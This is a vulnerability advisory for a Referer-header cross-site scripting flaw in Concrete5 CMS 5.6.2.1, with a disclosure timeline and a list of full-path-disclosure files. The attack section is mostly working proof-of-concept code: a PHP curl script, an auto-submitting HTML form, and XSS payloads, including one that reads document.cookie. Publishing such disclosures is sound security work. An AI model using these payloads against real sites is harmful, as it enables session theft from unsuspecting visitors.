Concrete version 5.6.2.1 suffers from a REFERER header-based cross site scripting vulnerability.
5132ad0d776021270916cb7e3a628f5ae97560841c95e08123603a834cf8f018
Title: Concrete 5.6.2.1 Referer Based XSS
Vendor: http://www.concrete5.org/
Researched by: Osanda Malith Jayathissa (@OsandaMalith)
E-Mail: osanda[cat]unseen.is
Website: http://osandamalith.wordpress.com
I. BACKGROUND
-------------------------
Concrete5 is a light weight power CMS in which you can create web sites on the go.
II. Referer Based XSS
-------------------------
The download page takes the input from the referer header for returning the value for the
"Back" button and hence it is not properly sanitized in getting input.
\concrete\single_pages\download_file.php
line 9,
$returnURL = ($_POST['returnURL']) ? $_POST['returnURL'] : $_SERVER['HTTP_REFERER'];
- Proof of concept
-------------------------
- This is the automated POC in PHP.
<?php
echo geturl('http://localhost/conc/concrete5.6.2.1/index.php/download_file', '"><script>prompt("XSS")</script>');
function geturl($url, $referer) {
$headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml';
$headers[] = 'Connection: Keep-Alive';
$headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$useragent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $useragent);
curl_setopt($process, CURLOPT_REFERER, $referer);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
?>
- We can also inject into referer header like this. But works only with IExplorer since other web browsers encode the URL.
<html>
<body>
<form id="exploit" name="exploit" method="GET"
action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">
</form>
<script>
document.getElementById("exploit").submit();
</script>
</body>
</html>
- Save it as "xss.htm" and pass the payload like this so that this would be taken as the referer.
http://localhost/xss.htm?"><svg/onload=alert(document.cookie);>//
III. Full Path Disclosures
----------------------------
concrete/single_pages/dashboard/system/basics/editor.php
concrete/single_pages/dashboard/system/view.php
concrete/single_pages/dashboard/system/environment/file_storage_locations.php
concrete/single_pages/dashboard/system/mail/importers.php
concrete/single_pages/dashboard/system/mail/method.php
concrete/single_pages/dashboard/system/permissions/file_types.php
concrete/single_pages/dashboard/system/permissions/files.php
concrete/single_pages/dashboard/system/permissions/tasks.php
concrete/single_pages/dashboard/system/permissions/users.php
concrete/single_pages/dashboard/system/seo/view.php
concrete/single_pages/dashboard/view.php
concrete/single_pages/dashboard/users/attributes.php
concrete/single_pages/dashboard/scrapbook/view.php
concrete/single_pages/dashboard/pages/attributes.php
concrete/single_pages/dashboard/files/attributes.php
concrete/single_pages/dashboard/files/search.php
IV. Disclosure Time Line
-------------------------
2014-03-16: Responsibly disclosed to the vendor (Vendor's website too was affected)
- Patched in 5.6.3 and the latest versions
- https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/